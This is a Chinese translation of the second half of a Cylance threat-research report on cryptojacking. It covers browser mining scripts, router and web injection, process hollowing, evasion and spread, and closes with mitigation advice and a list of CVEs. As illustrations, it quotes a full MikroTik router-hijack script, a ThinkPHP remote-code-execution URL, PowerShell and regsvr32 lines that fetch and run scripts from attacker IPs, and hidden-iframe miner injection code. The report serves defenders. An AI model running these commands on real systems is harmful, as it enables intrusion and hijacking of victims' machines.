加密挖掘威胁研究报告(下)
2020-02-24 11:50:00 Author: www.4hou.com(查看原文) 阅读量:139 收藏

加密挖掘威胁研究报告(上)

加密劫持技术

开发人员仍在继续开发用于挖掘加密货币(也称为cryptomining)的编程库和接口。这些工具也被攻击者用于劫持计算机运行加密挖掘,这种攻击被称为加密劫持(Cryptojacking)。

JavaScript库

CryptoLoot提供了一个名为crypta.js的脚本,该脚本的使用量正在不断增加。CryptoLOOT提供了一个选项,可以与最新的混淆技术保持同步,以帮助避免防病毒(AV)检测。

以下是显示利用此脚本的4,387个系统:

图9:4,387个利用Crypto-Loot JS脚本的系统

Coinhive提供了一个名为Coinhive.min.js的脚本,该脚本允许威胁行为者执行加密挖掘。Coinhive虽已停产,但仍然有超过59,304个系统在使用它,如下图所示: 

图10:利用Coinhive.min.js的59,304个系统

Coinhive.min.js已被广泛用于恶意广告活动中,通过该库可轻松将代码嵌入到高流量网站中。

应用程序接口

JSEcoin提供了用于运行加密挖掘操作的网站管理员代码,这些代码也被威胁者获取。下面是一个允许挖掘的代码片段示例:

< script src="hxxps://load[.]jsecoin.com/load/2895/jsecoin[.]com/optionalSubID/0/" async defer >< /script >

它通过指向hxxps://load[.]jsecoin.com/load/2895/jsecoin[.]com/optionalSubID来工作,该API用于与JSEcoin服务器交互:

图11:JSEcoin服务器v1.9.2

利用JSEcoin的矿机数量也在增加,如下图所示:

图12:JSEcoin的矿机总数

Web程序集模块

WebAssembly WASM是基于堆栈的虚拟机的二进制指令格式,它可以处理低级字节码使其速度更快,并被设计为可移植目标用于编译C,C ++、Rust、Golang之类的高级语言。许多Web浏览器都支持WASM,像是Firefox、Chrome、WebKit/ Safari和Microsoft Edge。这类格式已被用于开发矿机,cryptonight[.]wasm就是其中一个案例。

公共平台和存储库

YouTube和GitHub等面向公众的资源也为威胁行为者提供了一种绕过出站防火墙限制和传播加密矿机的有效方法。

例如,YouTube提供了一项广告服务,允许用户包含iframe标签,进而让威胁行为者嵌入执行加密挖掘的JavaScript库。最近,一个名为Stantinko的僵尸网络利用YouTube广告传播加密矿机,感染了全球50多万台设备。

Github拥有大量的开源加密工具,威胁行为者可以轻易拿来利用,公共存储库中也可以存放攻击者后门化的加密矿机。

Github不是唯一用于加载加密矿机的公共存储库。在2018年一场利用Kodi插件的攻击行动中,攻击者获利了62.57个门罗币(价值7,000美元以上),这是通过将加密矿机加载到XvBMC、Bubbles和Gaia附加存储库中来实现的。

浏览器扩展

威胁分子利用Chrome和Firefox插件库来存储伪装矿机,如Image Previewer或Nigelify。在2018年的NigelThorn活动中,威胁分子利用此类浏览器扩展感染了超十万台机器。

流量重定向技术

近期Coinhive活动中,有超过20万个MikroTik路由器被盗用于开采门罗币。威胁分子通过部署一个创建防火墙规则的脚本将用户重定向到Coinhive登陆页面:

/ip proxy set enabled=yes
/ip proxy access add action=deny disabled=no
/ip firewall nat remove [find comment=sysadminpxy]
/ip firewall nat add disabled=no chain=dstnat protocol=tcp dst-port=80 src-address-list=!Ok action=redirect to-ports=8080 comment=sysadminpxy
/ip firewall nat move [find comment=sysadminpxy] destination=0
/ip firewall filter remove [find comment=sysadminpxy]
/ip firewall filter add disabled=no chain=input protocol=tcp dst-port=8080 action=add-src-to-address-list address-list=Ok address-list-timeout=15s comment=sysadminpxy
/ip dns set servers=8.8.8.8
/ip service set www disabled=yes port=80  
/ip service set winbox disabled=no port=8291
/ip cloud set ddns-enabled=yes
/interface wireless security print file=sn112
/interface wireless print file=sn113

受影响的MikroTik路由器如下图所示,当前数量已有所下降:

图13:22,490个暴露的MikroTik路由器

代码注入技术

威胁分子可通过iframe标签注入矿机页面的链接。嵌入网页的代码如下:

< iframe src="https://somesite[.]com/page[.]html" style="width:0;height:0;border:0; border:none;" >< /iframe >

上段代码重定向到的页面包含以下脚本:

< script src="  >< /script >< script >
var miner=新的CoinHive.匿名(‘您的站点-密钥-这里’);
矿物。开始();
< /script >

iframe中指定的源也可以指向文件传输操作,例如:

< iframe src=ftp://ftp:shadow[at]196[.]xxx.xxx.76//info.zip width=1 height=1 frameborder=0 >< /iframe >< iframe src=Photo.scr width=1 height=1 frameborder=0 >< /iframe >

PHP注入通常用于编写PHP Shell以执行系统命令。 威胁分子将枚举PHP中无法清理输入的函数,例如:

hxxp://server/public/index[.]php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'.

此示例利用了ThinkPHP v5.0.23和v5.1.31中发现的漏洞,攻击者通过此漏洞注入SpeakUp负载传播XMRig加密矿机。

Process hollowing也是威胁分子常用到的技术,用于将矿机payload注入到内存中。威胁分子通过WriteProcessMemory()使用VirtualAllocEx (MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE),而不是设置正常加载的进程中PAGE_EXECUTE_WRITECOPY,还通过解析ntdll.dll并直接调用本机系统函数来避免检测,从而增强了此技术。

例如可以调用GetModuleHandleA(“ ntdll.dll”)来设置指向ntdll.dll的指针,然后使用GetProcAddress定位下列的本地系统调用,将矿机加载到内存中:

· NtUnmapViewOfSection()——用于取消原矿机模块的映射。

· NtCreateSection()——用于创建一个分区来编写矿机代码。

· NtMapViewOfSection()——用于将上述部分映射到本机进程,如svchost.exe。

· NtWriteVirtualMemory()——用于将当前进程的ImageBaseAddress写入空进程环境块的ImageBaseAddress。

· NtResumeThread()——用于恢复挂起的进程并开始执行。

命令执行技术

网络安全公司Imperva的研究人员发现,部署加密矿机的攻击中有90%与远程命令执行有关。远程命令执行可以通过多种方式部署,从易受攻击的系统函数(例如PHP include(),java.lang.Runtime.getRuntime()等)到利用本机二进制文件执行远程代码执行,例如:

cmd /c powershell -nop -noni -w hidden "$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null) -or (!($a.contains('DSM Event Log Filter')))) {IEX(New-Object Net.WebClient).DownloadString('hxxp://195.22.127.157:8000/info6.ps1')}
powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%cert.cer (New-Object Net.WebClient).DownloadString('hxxp://45.32.28.187:1012/cert.cer'); certutil -decode %APPDATA%cert.cer %APPDATA%update.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%update.ps1 & start /b cmd /c del %APPDATA%cert.cer

上述命令用于执行矿机或通过利用XSL转换来执行,XSL转换可用于执行系统命令,并嵌入到不同的文件格式(如ooxml或作为Windows脚本组件)中。该技术的示例如下所示:

schtasks.exe /Create /SC MINUTE /TN example /TR "regsvr32 /s /n /u /i:http://example.com/dr/example.sct scrobj.dll" /MO 5 /F

图14:XML有效负载示例

XSL更多信息参见此处。LoLbin提供了一种避免威胁检测的简便方法,更多示例请参见此处

在执行加密劫持攻击时,逃避安全产品至关重要。威胁分子为了保障稳定的收益,需要持续数月隐藏在系统或网络中进行挖掘。

在野使用的一些技术包括:

Watchdog - 加载程序将矿机注入本机进程(例如svchost.exe)后,第二个模块将加载到内存中充当矿机的看门狗,其目的是在检测到事件时(例如启动防病毒代理或任务管理器时)终止事件并产生矿机。WinstarNssmMiner矿机就曾观察到这类技术的使用。

隐写术-当前威胁分子正转向利用.wav/.png等不同的文件格式来逃避检测。为了进一步逃避图像识别扫描仪,攻击者还利用了诸如gzip之类的压缩算法来隐藏代码。BlackBerry Cylance此前介绍过利用wav文件来逃避检测的加密矿机

无文件攻击-PowerShell,NSIS,AutoIT和AutoHotKey等解释器为威胁行为者提供了逃避能力,因为它们可用于直接执行内存中的有效负载。此外,安全解决方案倾向于使用从常用编译器(例如msvc)编译的样本中提取的数据。例如,可以通过以下PowerShell脚本创建并加载GhostMiner:

· https://www.virustotal.com/gui/file/40a507a88ba03b9da3de235c9c0afdfcf7a0473c8704cbb26e16b1b782becd4d/detection

· https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1

· https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-CompressedDll.ps1

NSIS允许开发人员构建CallAnsiPlugin之类的插件,这些插件可用于调用DLL中指定的函数。 NSIS还包括插件目录,可以存储其他文件。这使得威胁分子能够从未编译成可执行文件的文件中加载额外的参数,就像在部署Norman 矿机时所看到的那样。

AutoIT和AutoHotKey是Microsoft Windows的免费开放源代码脚本语言。它们是为自动执行任务而开发的,可用于与Windows事件挂钩,将VBScript / JScript和DLL注入正在运行的进程中。威胁分子倾向于利用快捷链接和计划任务来调用解释器以执行文件中存储的参数。此类示例可以在称为RETADUP的多态加密矿机中看到:

· https://www.virustotal.com/gui/file/c69811d8574fcc59e37fe2cbf0a31be4956ab81c3279bfb1351ff6da3417b4a7/detection。

· https://www.virustotal.com/gui/file/a8ccb0a1c70975a1f34d0c40784e259e4c62c2533177f84ecd953c03106dd77e/detection。

除了上面提到的用于规避安全性的技术外,我们还注意到以下通过受损网络进行传播的方法:

文件管理服务(SMB)和远程桌面服务(RDP)已被诸如MadoMinerZombieboy之类的矿机广泛使用,用于跨系统传播。EternalBlue、BlueKeep和DejaBlue之类的漏洞使威胁分子更容易实现此目的。以下是发现的暴露了威胁分子入口点的4,806,484个系统:

图14:4,806,484暴露的系统服务

加密劫持并不非唯一的攻击类型,还有一种被称为“51%攻击”(the 51% attack)的攻击。51%攻击指的是对工作区块链证明的攻击,在这种攻击中,操作员利用一组矿机来控制超过50%的网络挖掘哈希率。当这种情况发生时,操作员将能够逆转事务或使事务块无效。

加密挖掘的未来发展

在技术世界中,我们倾向于调整技术来适应我们的需求。这些需求之一是保持经济稳定的能力,人们需要对经济充满信心,并相信经济将长期保持稳定。而这一点也促使了稳定币(Stablecoins)的出现,Stablecoins是一种基于区块链的支付方式,旨在利用法定货币来稳定加密货币。

法定货币分为三种:实物现金,中央银行储备金和商业银行货币。当前,商业银行货币最有可能被用作稳定币的抵押品。不过,该解决方案也存在一些潜在的风险,比如对大公司的监管更少,而且随着加密货币被更广泛地采用,它对威胁行为者的吸引力也越来越大。不幸的是,稳定币仍然受到加密劫持技术的影响。

加密挖掘另一问题是能源消耗巨大。为了解决这个问题,权益证明(Proof of Stake)被提了出来。权益证明旨在通过应用共识算法来削弱矿机间的竞争,算法会根据用户的权益来随机选择获胜者。

如何应对加密劫持威胁

以下是一些方法,供IT管理员和团队实践:

· 分割管理权限。过量的权限是通往灾难的必经之路,比如加密劫持攻击中常发生的横向移动就是滥用了Windows管理共享。

· 经常为系统打补丁。比如加密劫持攻击中常利用的一些漏洞,都是你动动手指装个补丁就能避免的:

CVE-2019-2725

CVE-2018-7602

CVE-2017-0143

CVE-2017-0144

CVE-2017-0145

CVE-2017-0146

CVE-2017-0148

CVE-2017-3506

CVE-2017-10271

CVE-2017-12149

CVE–2017–8464

CVE-2017-0176

CVE–2017–12635

CVE–2017–12636

· 监控调度工作。IT管理员应该通过与加密货币挖掘相关的文本字符串来监视DNS查询。例如:“ Bitcoin | Crypto | Cryptonight | Pool | BTC | XMR | Monero | Minergate | CoinHive | Zcash”等。在进行监视时,请密切注意CPU峰值是否升高。请注意,在访问一个网站后突然出现CPU峰值是不正常的,这可能是一个信号,表明系统已经被感染。

如果您想了解有关区块链的更多信息,请访问https://bitcoin.org/bitcoin.pdf

本文翻译自:https://threatvector.cylance.com/en_us/home/threat-research-report-the-state-of-cryptomining.html如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/N5v2
如有侵权请联系:admin#unsafe.sh